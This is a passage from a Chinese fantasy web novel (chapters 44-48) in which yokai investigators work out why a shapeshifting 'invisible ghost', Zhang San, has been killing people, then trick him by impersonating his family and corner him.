葵花姑娘笑意盈盈地给香桃倒了杯茶水，朝桌上瞥了一眼：“妹妹，你今日这么高兴，就是为了这幅画？”
几妖这才看见两人面前的桌上除了茶盏和汤壶，还有一幅打开了一半的画卷，正是香桃挂在屋里的那幅。
“是呀，”香桃拿起画卷来看了看，脸上的笑容很是满意，“有了梁家公子的画，只要我叫人去宣扬一番，请我唱曲跳舞的银钱又能提高一些，倒时自有更有钱的公子来找我……”
“哦？”葵花姑娘笑了笑，“那是好事。”
“是好事不错……”香桃悄摸着翻了个白眼，叹了口气道，“这梁公子的画技真是一般，所以我这不是来求姐姐来了吗？劳烦姐姐帮我改一下画吧，改得更细致精美一些。”
“你不怕被发现？”
“好姐姐，我知道你画功了得，能出神入化地把画改好看了又不叫人察觉。”香桃蹭着葵花姑娘撒娇，“到时候大家夸起来，梁公子只会高兴自己的厉害，哪里舍得察觉呢？”
“你这丫头，就是鬼点子多。”葵花姑娘无奈摇摇头，倒是答应了她的要求，改画的时候又和她说闲话，“对了，我听闻最近有一个……叫什么我记不清了，有一位梁安边上的公子对你很是上心，送了你不少金银珠宝？”
香桃在边上撑着下巴：“好似有那么个人。”
葵花姑娘：“他是不是想为你赎身？”
香桃：“好似有这么回事。”
“好似？瞧你好似没什么意思？”
香桃撇了下嘴：“嗐，他呀，他就是个再普通不过的人，家中是有些小钱，和梁公子比差远了，两人不过是同一学堂认识的缘分，也不知怎么给他缠上了对方，天天跟在梁公子后头听些别人的好话，听多了还以为自己也有多少本事呢！”
“哦，那是如何？”
香桃想了想：“我也不是说他如何吧，他就是……很普通的，自己没什么作为，二十多了还要靠家中，如果他家有钱就算了，可我一瞧他吃穿用度和送来的首饰就知道，寻常人家，吃喝不愁的程度吧。”
“其实我知道他有个在京城做事的哥哥，他花的都是他哥给的月例，就这样，还要在我面前撑面子、说要替我赎身让我做侧室呢！嚯，还侧室，真当自己是什么少爷了？”
“姐姐，”香桃挽住葵花的手，“你可别说我嫌贫爱富啊，这人没有梁公子的家底、容貌，气度就算了，自己又不努力，我嫁给他能过上什么好日子？难道要月月和他一起等京城的大哥送钱来？还不如我自己赚得爽快！”
葵花姑娘闻言也笑了：“你的考虑不无道理，不过他就没有一处让你考虑的优点？”
“也许是有的吧，”香桃拿起研石帮姐姐磨墨，“不过谁让他那么不识相，天天往梁公子边上蹭风光，再多的优点一对比，嚯，什么都比不上人家喽。”
葵花姑娘摇摇头，半开玩笑道：“你看人的眼光倒是毒辣。”
“好姐姐，我总得为自己着想……”
……画面结束。
多亏了葵花姑娘，最后一个画面提供了很多有用讯息，几妖讨论了一下，很快就提取出几条可以筛选出嫌疑人的条件：
此人和梁安出自一个学堂，并且家中条件一般，有一个在京城做事的哥哥，他喜欢香桃姑娘而且想迎她回家做侧室，送了她不少金银珠宝首饰，那估计是点过桃花姑娘许多次喽？
他们很快就想到去找陈二要香桃姑娘记录点客的册子，不过陈二一开始就没主动给他们也是有理由的，因为这册子早就随着香桃姑娘的死去而失去了踪影，上边的记录都是香桃姑娘自己记的，先前伺候她的丫鬟因此事受了惊吓，如今还在老家修养呢。
去找不知所踪的丫鬟太费功夫了，几妖想了想，还是先决定从调查张李陈林的身世入手。
他们原先以为这是好调查的，直接去问梁安就是，结果大半夜地又冲去梁宅，把好不容易眯着的梁安叫了起来，一问三不知后才发现他对这几个好兄弟是一点都不了解啊！
也是，哪里需要梁安了解他们，要阿谀奉承的又不是他。
四妖一人只好等到了隔日早上，再去张李陈林四人的住所附近问问邻里、调查情况，虽说是费了些功夫，但很快就有了个结果，完全符合条件的就是张三。
“原来是他。”万情贞长吁口气，脑海里回想起……好吧，他怎么
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也回想不起那张平平无奇的脸，只是记得有这么个人罢了。
谢珍珠道：“可我们也不好就这么捉了他去官府，他现在就是个普通人的模样，官府会信我们吗？”
“不太可能，”南显成神色有些忧虑，他颇有经验道，“官府办案是讲究证据的，我们虽然根据时转镜推断出了此人就是无形鬼，可官府不一定会认可时转镜的效用。”
胡和烈觉得好麻烦：“怎么和人类挂钩的事情都这么麻烦！那我们现在要怎么办？”
叶米：“逼他显形。”
南显成：“诱他显形。”
一人一妖对视一眼，很快又移开视线。
谢珍珠看看她又看看他：“那是要怎么逼、怎么诱啊？”
南显成诚恳地提议道：“我先前引诱妖鬼显现的方法，一般是调查清楚他们行凶的原因和针对的目标人群，以此依据冒充，这样做成功引诱的概率还是很大的。”
“就是麻烦。”叶米瞥了眼万情贞，“我有个困惑，为何一定要让官府承认此人就是无形鬼？我们知道不就行了？杀了他也不算杀错，不过是少了……叫什么，官方认证？你们觉得这重要吗？”
其他妖哪里听不出她的言外之意，不就是想不管官府、直接杀了人了事吗？
“我是无所谓，”胡和烈靠在椅背上，姿态放松，“又不稀罕那一百银两。”
谢珍珠也赶紧表示自己的中肯“意见”：“钱乃身外之物嘛……我都听你们的。”
万情贞有几句话要说，可见这三妖都统一战线了，他不得不纠结起来……
就在此时，南显成居然道：“在下唐突，有不同意见。”
叶米：“你的意见不是很重要。”
南显成：……
“听听嘛，”万情贞壮着胆子小心地说，“南大哥你说说看？”
南显成就道：“我赞同叶姑娘所说的一点，官府那边确实不重要，不过在下认为调查清楚无形鬼行凶的缘由是必然的。一是为了保证我们没有杀错妖，如果我们在无形鬼还未显形的时候就杀了张三，如何确信他确实是无形鬼？”
叶米：“时转镜……”
南显成：“时转镜虽能重现往日情景，可眼见不一定为实，我们甚至还不知道最后一个画面中无形鬼究竟藏在何处，若他化身成了香桃姑娘，那他所言之物还能信吗？”
四妖听到这，纷纷沉默，心想他说得是有几分道理哦？
南显成见他们听得若有所思，心中也安心了一些，便继续晓之以理：“在下的师父曾教导，人有好坏、妖分善恶，妖和人做坏事都是有缘由的。人犯错有官府惩罚，许多过错不至于死，悔改之后再重新做人。那么妖犯错也不该斩尽杀绝，应以其罪论处。”
晓之以理之后他还动之以情呢：“几位都是好妖，可再好的人和妖也有犯错的时候，想来到时，也不愿他人仅以妖怪作祟之名，这么糊涂地被定了罪。”
45. 第 45 章
四妖一片沉默，脸上各有各的若有所思。
谢珍珠想到什么，点点头说：“确实啊，大家都觉得妖性比人性要坏，犯了同样的错误，如果是人做的只会被骂几句，要是妖做的大家就觉得你这妖心坏、日后定会伤人……”
“我觉得……”她偷摸地看着叶米，“我们是该问清楚妖怪杀人的缘由。”
万情贞心想谢珍珠虽是个墙头草，但还是很明事理的，他便也赞同道：“对对对，我同意。像我写那些爱情故事，也得写一下此人为何如此……欸，我是说，之后我在记分簿上写几位的好话，也写得有理有据一些！”
胡和烈还是靠在椅子上，他也有些纠结起来，不过没发表什么意见，只是看向叶米。
叶米喝了口茶水，自言自语般地问：“我为何要知道这些凡人做错事的缘由？”
万情贞嘿嘿：“猫大人，无形鬼不是妖嘛！”
叶米：。
她把茶盏放下，站起来道：“好啊，那就照你们说的做。”
叶米居然这么轻易就同意了？几妖意外之中正要松口气，却又听她带着讥笑的声音：“不过我是为了让你们明白，不管是妖是人，有那么些东西，他们行凶作恶根本不需要缘由，你们执着于原因，才是愚不可及。”
大家伙闻言都是一愣，见她要走，又问她要去哪。
“去哪？不是要去找原因吗，你们是打算继续坐着喝茶浪费谁的时间？”
他们便急匆匆站起来跟在猫后头。
几妖先去了第一位死者，也就是那位教书育人老夫子的私塾，这间私塾在雷州小有名气，却不是梁安和张三先前学习的地方。所以这老夫子和张三之间会有什么关系？
他们在外边等了会，没过一会就到了散学的时候，有许多学生从私塾里成群结伴地走出来，几妖拿着变出来的张三的画像，凭运气捉小孩问话，还真给他们问到了一个认识张三的十一二岁的学生。
学生甲道：“张三哥哥是我家邻里，你们找他做什么？”
他边上同行的学生乙也仰着脑袋好奇地问：“你们是谁啊？”
万情贞自以为自己拿捏小孩有一套，笑眯眯道：“我们都是好人，你跟我们说些话，等会就给你们糖吃！”
谁知两个小孩闻言对视一眼，指着万情贞齐刷刷道：“坏人！”
万情贞：？
学生甲：“夫子说了，坏人就是用糖骗小孩走的！”
谢珍珠见他们不信，有些着急道：“那那、我给你们好玩的……”
两个小孩又指向她：“大坏人！！”
谢珍珠：！
南显成笑叹这两妖不懂得人类小孩早已被灌输了“坏人给好东西就是在骗你”的观念，正打算帮着劝两句，就见叶米扒拉开两妖，抱着胸朝俩小孩冷脸道：“对，我们就是坏人，所以最好我问什么你们就老实答什么，不然等会有你们好看。”
南显成：……改威胁了啊。
两小孩也不是傻的呀，对视一眼就要跑，谁知道刚迈了一只脚就悬停在了空中，身体是怎么都无法动了。
他们惊慌失措地叫了一声想求救，下一刻又发现自己发不出声了。
好嘛，现在只剩下会流泪的眼睛了。
叶米看着开始流眼泪流鼻涕的小孩，并不觉得自己做了什么很过分的事——不过是为了效率施了定身术罢了，她问那个学生甲：“你说你认识张三？”
学生甲忽然发现自己哭出了声音，他连忙抿了下唇，这回识相地没有再叫了，而是带着哭腔道：“是。你们要找张三哥哥吗？”
胡和烈道：“你有没有和他说过关于余夫子的事？”
“余夫子？”学生甲抽抽鼻涕，“是那个……半月前死去的夫子吗？”
“对。”
“我说过，”学生甲道，“我记得有一次挨了余夫子的骂，心里很不高兴，散课回家正好碰到张三哥哥，他见我面色可怜，问我发生了何事。我便说同他说了几句余夫子的小话……”
“你说了什么？”
学生甲转了下湿漉漉的眼珠子，似在回忆：“我说余夫子区别对待，对我这些普通学子总是视若无睹，犯些小错就恶言相向，对家里有钱的学生却分外关心，说起话来也是和颜悦色……”
“我说完之后，张三哥哥就安慰了我一会，让我别放在心上，这样的夫子多了去了……总之说了一些话，我就回家了。”
“就没了？”
学生甲的眼里都是害怕：“……没了。”
没了他就没用了，叶米解了二人的定身术后就离开了。
两个小孩恢复了身体的掌控权，差点腿软站不住要倒，隐隐约约还有尿意呢。学生乙不认识张三，觉得自己是跟学生甲一起走才遭了这倒霉，心里头有些委屈，瞪着学生甲道：“他们到底是谁啊？是神仙还是妖怪？”
学生甲也没好气：“我怎么知道？我看是妖怪，欺负小孩的算什么神仙！”
学生乙见他一改刚刚的懦弱，又说：“你胆子挺大，刚刚还说谎了。”
“我何时说谎了？”
“余夫子对你是没什么好脸色，那不还是因为你听课不认真、做功课也敷衍……”
学生甲听他这么道，忽地有些红了脸：“你这么说我，好像你不是这样似的！”
“我是这样啊，”学生乙摊手，“好多同窗也和我们一样，所以夫子才喜欢那些与我们不同的、听课认真功课好的学子，这不是人之常情？反正我娘是这么和我说的。”
“你别扯这些，我刚刚是不是没说错，你就说余夫子是不是对我视若无睹、骂起人来恶言相向？”学生甲说话声又大了些，“不只我这么觉得，其他人也觉得他偏心、不配为师！若是他对我也和颜悦色、谆谆教诲，指不定我就会发愤图强！”
“你……”
学生乙听他说这话，心中觉得有些古怪，但又说不出什么反驳的话来，干脆摇摇头：“算了，说这些没意思，回家吧。”
……
几妖紧接着又去了死了
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男人、独自带三个小孩的女人家中，女人外出做工不在家，院子里有三个小孩，最大的那个十一二岁，背上背着一个尚在襁褓的婴儿，正站在灶台边上往锅里舀水，似乎正要煮东西。
还有一个七八岁的男孩蹲在边上，手中拿着小木棍逗蚂蚁。
叶米从院墙上跳了下来，朝万情贞点头示意，后者便敲了敲门。
“是不是娘回来了？”
“我去开门！”
随着一阵脚步声近了，门很快就被打开，里头的那个七八岁的小孩仰着脑袋见到屋外几张陌生的面孔，脸上的笑容瞬间消散：“你、你们是谁？”
“小弟弟，我们是你娘亲的好友。”谢珍珠换了个话术，将手中一串香蕉往他手上一递，“她今日要回来得晚些，特地让我们来给你送些香蕉来。”
男孩被迫接过了香蕉，视线却有些移不开了，他确实是饿了，忍不住咽了下口水，有些想相信他们：“你们真是我娘亲的……”
“门口的是谁？”
察觉到不对劲，那个背着婴儿的男孩也过来了，见到门口的几妖，警惕地把他弟弟往后边拉了拉，又注意到他手中的香蕉：“你怎么能乱收别人的东西！”
弟弟道：“不是乱收，他们说是娘让送来的！”
哥哥皱着眉头：“他们说你便信了？”
“欸欸，”万情贞听他俩的语气有些不对劲，“我们真是好人，不然就这会功夫，早就把你俩抓走了不是？你看，我们人多势众的。”
哥哥这么一听也有道理，皱起的眉头就松了一下，但还是堵在门口没让几人进去，只是问：“好吧，不知几位……哥哥姐姐来这所为何事？”
谢珍珠道：“我们是来调查无形鬼……也就是你爹的案子的。”
哥哥语气笃定道：“你们不是官府的人。”
谢珍珠心想这小孩真警惕啊，她耐心道：“我们确实不是官府的人，可现在官府贴出了告示寻求民间能士的帮助，如你所见，我们几个就是民间能士。”
“好吧……”他又打量了几人一回，考虑了一会，“你们要问什么？”
胡和烈便拿出张三的画像：“你们可见过此人？”
两个小孩盯着画像仔细看了看，都摇了摇头，说自己没印象。
万情贞叹了口气道：“也许该问他们的娘。”
“不见得，”叶米有些突兀道，“我记得张三也有哥哥。也许他们不认识张三，但张三见过他们。”
“然后想到了什么，对他们的爹起了杀心？”谢珍珠接上猫的话，眼前一亮，“你们的爹对你们如何？平时可有打骂？”
兄弟俩对视一眼，纷纷摇了摇头，哥哥脸色有些落寞道：“爹爹虽说平日不苟言笑，对我们也是严加管教，但从未随意打骂过我们，皆是事出有因。”
看得出来这哥哥对他爹还是蛮敬爱的。
叶米又问另一个：“那你呢？你觉得你爹对你好吗。”
弟弟没说话，只是瞥了哥哥一眼，点了点头。
46. 第 46 章
万情贞心想难道是夫妻间的爱恨情仇：“那你爹爹和你娘亲的关系如何？”
哥哥又叹了口气，目露哀伤：“虽然偶有小争执，但都是小事，很快便好了，爹爹和娘亲长久以来一直互相扶持，是对恩爱夫妻。”
他说到这，眼里冒了泪花，抽抽红了的鼻子道：
“爹爹死后，娘亲伤心欲绝，常常避着我们偷偷抹泪，她一人带我们三个孩子，实属不易，幸好我长大了，能帮点忙……几位哥哥姐姐，若是你们能找出那杀了我爹的无形鬼，我们全家不胜感激……”
“哥哥，你别哭了……”他弟弟也被传染了悲伤，抹了下眼泪。
叶米心说我要你们家的感激做什么：“既然如此……”
她取了兄弟俩两滴血便走了，几妖回到怡心楼，用他们的血和无形鬼的血触发了时转镜，还真的出来了画面，说明兄弟二人确实与张三有过接触。
灵气轮转，荡开一幅场景，是在热闹的街上，画面中出现了兄弟俩中的弟弟，他被一个中年男人拉扯着，二人在一个糖葫芦摊位前似乎在争执着什么，引来许多路人的驻足旁观。
“小辰！”男人面色严肃，有点疾言厉色的意思，“还不快道歉！”
小辰的泪闪闪的眼珠子在人群中飘，他脸上的红也不知道是哭的还是羞的，他的身体顺着自己的胳膊被扯了过去，对着那个糖葫芦摊贩小声地说：“对、对不起……”
男人：“为什么对不起？”
小辰抽抽涕涕：“对不起，我偷了你的糖葫芦！”
那摊贩本也是很生气的，但见这小孩的爹比他刚刚还凶，心里舒服了一些，尴尬就出来了：“嗐，算了算了，下次别来我这偷就是了，小孩子不懂事，叔叔原谅你了。”
男人道：“不懂事才要好好教，子不教父之过，若不是我近几年事忙，疏忽了教导，他也该像他哥哥那般懂事才是啊！唉，也怪我……”
小辰一听他爹说这话，脸上的委屈和害怕就变成了羞恼，他猝不及防地甩开男人的手，直接跑走了。
“你这孩子……”
……画面结束。
万情贞的眼睛睁得大大的：“也没看见里边有张三啊？”
谢珍珠刚刚也找了许久，确实没找到：“也许他隐藏在人群之中了？毕竟他这么普通，个子也不高，往人堆里一站确实很难找到。”
胡和烈道：“这不就是很寻常的父母教导孩子的小事，张三就因为这对男人起了杀心？”
“虽说是小事，但也挺丢脸的，”万情贞挠挠脸颊，“你看，大庭广众之下……那个小辰脸都红透了。”
对此事胡和烈有不同意见：“就是要让他刻骨铭心一些，他会脸红就说明他知道偷东西是错的，明知故犯，不给点教训以后可要长歪了！”
谢珍珠这时候道：“你们说得都有道理，不过我觉得此事之中，小辰最伤心的应是他爹爹拿着他和哥哥比较，说他不懂事……我小时候就是这样的，做错事被罚被骂倒还好，但爹爹娘亲说我没有姐姐懂事，我就特别伤心。”
南显成试探地加入群聊：“在下觉得谢姑娘说得有理。据几位先前调查，张三家的家计，似乎都靠他在京城的大哥送来的银钱支撑，而张三平日跟在梁安身后如影随形，不干正事，想来张家父母心中难免有比较。”
“有比较也难怪啊，”万情贞撇嘴，“这张三自己又没本事，还去怡心楼里玩，送了那么多用他哥哥的钱买的首饰！还、还杀了香桃姑娘……”
“所以，”叶米听完他们四个的讨论，总结道，“张三要杀的人，都是他觉得会偏心的人？私塾学堂的老师偏心学生，多子家庭的父亲偏心大儿子，还有怡心楼的……”
“香桃姑娘看不起他。”谢珍珠说，“香桃姑娘和葵花姑娘说他没用，什么都比不上梁安，可他自觉为她花了很多钱，但香桃姑娘还是偏心梁安……所以他很生气，生气到后来又想杀梁安……”
“哦~”叶米点点头，似笑非笑道，“所以他杀了这么多人，都是在为自己‘不被偏心’一事打抱不平？”
“可能吧，我真是不明白为了这些事有什么好杀人的……”谢珍珠眉头紧锁着，心里对那些无辜的死者感到同情，“叶米，那我们现在要怎么把他的原形引诱出来呢？”
“诱发人类的劣根性可不要太简单了，”叶米说，“重要的是如何抓住他。”
万情贞忧心道：“他不仅可以变幻成他人的模样，还能藏到一些古怪的地方，就连猫大人的猫眼也瞧不出来，何况是我们？一不小心就要中计的。”
这确实是目前最大的难题，几妖便苦思冥想起来。
叶米拿起茶盏喝了口茶水，视线飘到面前墙上挂着的一幅美人画上，她不由得想起香桃屋里的画，上边沾着衣柜里香包的味道，如果不是那幅画曾经在衣柜里呆过，那么是不是有可能……
猫的眼睛倏地一亮：“我有个主意。”
*
夜色已深，张三同兄弟们喝完酒，摇摇晃晃地回到家中。
他其实没喝很醉，也许是觉得操控身子很累，又或是想装出一副浪荡随意的模样，总之就这么微醉地荡进了院子里，其实仔细看看，他走路的姿势也有些怪，似乎是身上受了伤，时不时会因为疼痛抽搐一下。
张三在院子里站定了会，面前堂屋边上的卧房窗户透出一点昏暗的橙色光线，他盯了会，忽然觉得很不得劲，大声喊叫起来：“人呢？来人啊！”
按理来说，这时候就会有丫鬟过来带他回自己的屋子，但今晚他爹来得比丫鬟更早一些，看见堂屋的门被打开的时候，张三心一跳，感到意料之中的恐惧，但他也没什么动作，只是盯着那个开门的老头看。
老头身上穿着中衣，面有愠色，显然是处在被打扰休息的不快之中，他指着院子中的男人，不
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可想象这样的人居然是他的儿子：“在外面鬼混到这个时间才回来就算了，你乱叫什么！？我和你娘正要歇下，被你吵得头疼！”
张三没什么底气地反驳道：“那、那不也还没睡嘛……你儿子这么晚没回来，你们二老睡得可踏实？”
老头闻言，气得鼻孔直喘气，指着男人的手抖啊抖的，最后似是无奈又似是恨铁不成钢地骂了一句：“没生你这个儿子才踏实！”
撂下这一句就关上门了。
张三也不是第一次被这么骂了，每次他都很生气很郁闷，但每回走到沉默的父母面前时又欠揍地想要惹他们谩骂。被骂之后除了生气，还有一些爽快的恨意，他更觉得自己如今的废物都怪父母的偏心和不好好教导。
若是爹娘对他也能同对哥哥那样……
边上走过来两个垂着脑袋的丫鬟，想要扶醉了的他去屋里休息，张三心情不佳，甩了甩手走在前头。到了他自己的屋里之后，张三坐在扶手椅上喝茶，喝两口茶水就见了底，但他还口渴着，便让丫鬟添茶去。
谁知这丫鬟甲笨手笨脚的，一个踉跄就把茶倒到了他身上，气得他打了那丫鬟一巴掌，破口大骂：“没用的东西，端杯茶都端不稳，信不信我把你手砍了！”
照理来说，这丫鬟甲应该慌忙跪地求饶的，但不知为何她没有，就连她边上站着的那个丫鬟乙也毫无反应，瞧着事不关己，当下人常年微弯着的腰背都不知何时挺直了不少，
被打巴掌的丫鬟甲一手捂住脸，转着脑袋看向他，面色竟敢有些许狰狞：“没用的东西就要砍掉？那你的脑袋早该落地了。”
张三愣了一下，差点没反应过来，他指着丫鬟甲道：“你、你说什么？”
“她又没说错，”丫鬟乙在边上添火，“你处处比不上大少爷，夫人老爷日日因你愁眉不展，只恨自己当时脑子糊涂，多生了个不孝子，败坏了家中的气运不说，还惹得他们二老劳心苦思，后悔莫及。”
“闭嘴！”张三一拍桌子努而站起，他气得感受不到手掌的疼痛，一双小眼睛从来没有睁得这么大过，“你竟敢……那两个老不死的当真背着我这么说的！？”
“老不死？呵。”丫鬟甲扯了个笑，“他们还嫌你小不死呢，要是没了你，夫人少爷指不定现在和大少爷一起在京城享福，现在不带你去京城是怕拖累了大少爷……”
“你放屁！”张三不可置信地摇着脑袋，他隐隐约约觉得这两个丫鬟很是古怪，但此时他微醉的脑子冲动而混沌，再加上这二人说的话正是他时常怀疑爹娘所想，便可怕地觉得有几分真实，“怎么可能……”
“可不可能……”丫鬟乙的语气轻飘飘的，带着一丝蛊惑，“你现在去问问他们不就知道了？”
“对、我去问……”
他不管不顾地站了起来，正往门口走了两步，忽然门被打开，只见门口站着两个人，正是他要去找的爹和娘。
47. 第 47 章
张老爷还是那身中衣，脸上的怒气比方才一见时更盛：“不孝子，你还在吵什么，没完没了了是吧？！”
张老夫人则是满脸哀愁：“儿啊，娘就想睡个踏实觉，你为何总是……唉！娘养你这么大，不求你像你哥那样出息，可你连这点小事都不能顺着娘的心意吗？”
本就一肚子火的张三一听这二人的话，肚子火就烧到了胸膛，他感到整个心脏又热又躁动，像是将要炸开的爆竹，他深吸一口气，忍耐着问：“爹，娘，刚刚这两个死丫头说你们私下里骂我没用，巴不得我早死了，好去京城投靠哥哥，是不是？”
“这……”张老夫人和老伴对视一眼，眼神惊讶，表情犹豫，“娘有这么说过吗？”
他爹没说话。
张三却突然反应过来似的，指着边上那两个垂着脑袋很低调的丫鬟道：“她们这两个下贱的丫鬟，平日里连话都不敢多说一句，若不是知道你们二人对我的嫌弃和怠慢，怎么敢在我面前这么放肆！”
张老夫人：“你……”
张老爷冷哼一声，破罐子破摔道：“你也知道自己没用，怎么，我是你爹，我说你几句还不行了？你摸着良心想想，为父有没有说错？”
就算不摸良心，张三也知道没说错，但是：“就是你没说错，你也不能在下人面前这么丢我的面子！”
“面子？”张老爷荒唐一笑，“你要是还觉得面子重要，就不会变成一个废物！你不仅不顾自己的面子，连我和你娘的也不顾了，你恨不得在外头把我们全家的脸丢尽了！”
……丢脸？对，他是丢脸。
不管是无意的还是故意的，他确实很丢脸。一事无成地啃老啃哥，日日跟在梁安的屁股后面鬼魂，追个青楼的女伎还能被对方嫌弃……
可这世上像他这般无用的人比比皆是，比他家里穷的、起早贪黑做事也挣不到几个钱的、娶不到娘子孤寡一生的……比他差劲的人多的是了，为何不拿他和这些差劲的人比？
他不算差的，对，他不算差的！是他爹娘不好，是那个臭婊子不好，是瞧不上他的夫子不好，是他们偏心！他们趋炎附势！
“爹，娘，好啊，好啊……这么多年，你们总算是说出心里话了！”几人不知道他心里想了什么，只看到这人的面容逐渐扭曲了起来，一言一字之中咬着越多的怒火，“既然你们巴不得我死，那就别怪我不客气了！”
张老夫人见他放狠话，似乎感到一些不妙，拉着张老爷退了一步：“你、你这话是什么意思？”
张三狞笑道：“我是没用，你们两个老不死的就有用了吗？少了你们，我和哥哥才是轻松了！”
这么说着，他忽然用异于常人的速度飞速向张老夫妇移去，两位老人家惊呼一声，顿感不妙地转头要跑，可他们怎么跑得过儿子，没一会张三就拎住了他爹的后领子。
这时候他举起的手变成了肉刀，双眼发直地看着张老爷扭过脑袋时脖子上形成的几道颈纹，每一道都像是为他规划好的切割痕迹，那么流畅而顺滑地陷在暗黄带斑的粗糙皮肉上，真是一种诱惑。
张老爷惊悚地看着他的眼中恍然的杀意，喃喃道：“你这个……逆子……”
逆子！
张三一咬牙，挥刀而下——
“啊！”
肉与肉刀只差毫厘之间，他忽地感到腹部一阵剧烈的疼痛，惨叫一声被迫往后飞了出去，“砰”地撞到柱子上，后脑勺震得嗡嗡响。
他惊诧地看着自己的“爹娘”在眨眼之间变成了其他模样，心中还没反应过来，转眼有看见边上的两个丫鬟也变了样子，正是他昨晚上想杀却没杀掉的那几个可恶的“大师”。
“居然是你们——”被戏弄的羞恼让他的脸色变得很难看，身上的疼痛也变得不重要了，“你们找死！”
从张老爷变回来的万情贞此刻有妖撑腰，不客气地喊回去：“张三，你无故杀了那么多人，作恶多端、罪不可赦，找死的是你！”
“哈哈哈哈！”他奸笑几声，“你们有本事捉到我再说吧哈哈哈哈！”
丫鬟甲·胡和烈还记得刚刚那一巴掌呢，恨不得马上报仇雪恨：“听他说什么废话，杀了他！”
可还未等几妖动手，眨眼之间张三整个人散成了一道黑烟，几妖都是一愣，那烟不紧不慢地散开来，就不见了踪影。
谢珍珠瞪着大眼睛，不敢相信自己的眼睛：“什、啊？什么东西啊，怎么就这样不见了？”
“不见了？”叶米轻笑一声，“那可不见得。”
她猛然冲上前去，用幻化出猫爪的手狠狠地往原先在张三身后的柱子上一抓，“柱子”发出惨叫一声，有一团人形的黑烟掉了出来，叶米正要去抓，但很快烟雾又散开去了。
“这样就是发现他了也抓不住。”叶米收回手，没有再去追赶黑烟，“得想个办法……”
“我有办法。”南显成道，“可以用显形符让他固定在原样。”
“还有这好东西，”胡和烈朝他伸手，“拿来吧。”
“我现在马上画，不过……”南显成看了看几妖，“你们是妖，我的符箓也许会对你们产生伤害，符箓也会受到消耗，所以……”
叶米略微斟酌道：“你先将符画好，我们会把无形鬼困在阵法之中，到时你再使用符箓。”
这倒是可行的，南显成颔首：“好。”
他从包裹里拿出符纸朱砂等物开始画符，几妖对视一眼，默契地分头散开行动。
谢珍珠来到院子里，外边黑乎乎的，她吹着冷风提着胆子搜了一会，时不时皱一下鼻子嗅阿嗅，忽然她意识到什么，转头一看，万情贞正要拍她的肩膀，见她转来，没拍到肩膀的手就收回去挠了挠头：“你找到没？”
谢珍珠眨了下眼，摇摇头说：“没、没有，我们回屋里吧。”
万情贞点了点头，转身先走，走了两步忽然感到肩膀上一疼，他扭头
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一看，一只有他脑袋大的蟹钳正抓住了他的肩膀。
“万情贞”：……
谢珍珠大喊大叫：“叶米！！”
“万情贞”暗骂一声，散成黑烟溜走。
胡和烈正在用螫针探查着后院的灌木丛和花草，就听背后有脚步声传来，他扭头一看，谢珍珠神色匆匆、语气有些慌张：“刚刚、刚刚我看到无形鬼了，他变成了万情贞的样子！”
“哦，”胡和烈甩了个花针，神色平静，“这不是他的惯常伎俩，你这么害怕做什么？”
“我……我吓了一跳。”谢珍珠的大喘息慢慢缓和下来，“我一个人好怕，能不能和你一起走？”
胡和烈挠挠耳朵：“随你，不过后院我已经搜好了，走，去屋里。”
“好……”
谢珍珠有些忧心道：“我怕和他打照面，我跟在你后头走吧……”
胡和烈没说什么，率先走在前头。
谢珍珠松了口气，跟在胡和烈后面走了几步，微皱着眉头看着胡和烈在前边耍他的螫针，耍得她越看越眼花缭乱，忽见他将螫针一转往天上一抛，螫针“呼呼呼”地发出破空声，转眼之间，就——
插到了她的胸膛里。
“谢珍珠”：……
真是疼得要命，尤其是看到胡和烈转过来得意又欠揍的笑时，张三简直要疯了，他气得吐血……也确实吐了一口，只能继续用老招式散成黑烟遁走。
看来这无形鬼是想逐个击破啊，胡和烈散漫地想，然后在手指上划破一道口子，指尖的灵光带着血滴在空中绘成了几字咒文，隐入空中消失不见。
张三这两天受了许多伤，还没来得及恢复过来，这样下去他变形的次数会越来越少，最后无法变形、只有受死的份，他得想个办法才行。
不过谢珍珠和胡和烈到底是怎么发现他是假的？
他很是不解，心中起了不妙的警惕之心，他想着换个法子，那就耗费多一些精力，隐入物件之中再找时机好了……下一个对象该是谁？当然不会是那个心狠手辣的臭女人，就选瞧着性子最软弱的万情贞吧——这次不能再失手了！
万情贞跟在猫后头，离了五步远就要开始着急。
他不碍事的话，叶米是无所谓的，反正她本就没指望让万情贞做什么，随便他在哪里都可以。
这会儿他们正在堂屋里搜查，真正的张老夫妇被他们惊醒，听了二妖的解释后，正互相搀扶着，惴惴不安地站在边上看他俩碰碰这、拍拍那的，两个老人家不安得可怜。
“叶姑娘……”张老夫人又哀愁地说，“我们小儿怎么可能会是无形鬼，你们……会不会搞错了？”
这个问题叶米已经回答三次了，她不耐烦再回答，万情贞也是叹了口气：“张老夫人，张老爷，要不您俩先去屋里睡了吧，等明早……大概就能尘埃落定了。”
张老爷脸色复杂：“你们要杀三儿，让我们如何睡得着？”
48. 第 48 章
万情贞无奈道：“总比亲眼见着他死去好吧？”
张老夫人还抱着希望：“万公子，我想你们定是误会了，我们三儿虽然不学无术、游手好闲，好逸恶劳，但他也不至于那么坏啊！万公子……”
万情贞烦不胜烦，见叶米走进隔壁的书房，捂着耳朵跟了上去。
叶米进了书房，轻而缓地呼吸着，细细感受着屋中的空气流动，她走过书桌边上，视线无焦点地扫过上头的笔墨纸砚，脚尖一转又走到了书格前头，定着眼珠子路过一本本排列整齐的书籍。
然后她来到窗边两幅挂着的卷轴画边上，一幅是山水画，一幅是人物画，画中是张家的前院，一家四口人坐在院子的大圆桌边，一对是年轻的夫妇，还有两个是十岁左右的小男孩，桌上摆满了丰盛的菜肴，菜肴上盖着月色。
原来是一幅中秋团圆赏月图，画得真是温馨。
“猫大人……”
万情贞一进来就看见叶米在看画，他刚叫了一声，却见叶米忽然伸手往一幅画上一打，那卷轴惨叫着抖动起来，从里头摔出一道人形的黑烟。万情贞吓了一跳还没反应过来，只听“砰砰”两声，身后的门和窗户都被关上了。
“儿啊！儿啊！”
门外传来似远似近的哭喊声，不过没有妖会在意了。
那道人形黑烟摔到地上，周身的烟粒子并不稳定地起起伏伏，勉强维持着人形，这模样瞧不见五官，但他一定是在看着叶米，这会咬牙切齿地问：“你是怎么发现我的！？”
叶米哼笑一声：“将死之人不必知道。”
张三：……
他似乎也对自己总是懦弱地躲藏这事感到十分恼怒，如今面前这人居高临下地看着他，一双冷淡的眼睛里没有多少情绪，甚至连厌恶都不多，她就像是在看一个无关紧要的、可以随手就捏死的蚂蚁，所以根本不用太在意。
她根本不把他当做一回事。
事到如今……张三恍然地想，事到如今，哪怕这些人知道他是杀了无数人性命的、作恶多端的无形鬼，还是没有人会正眼看他！
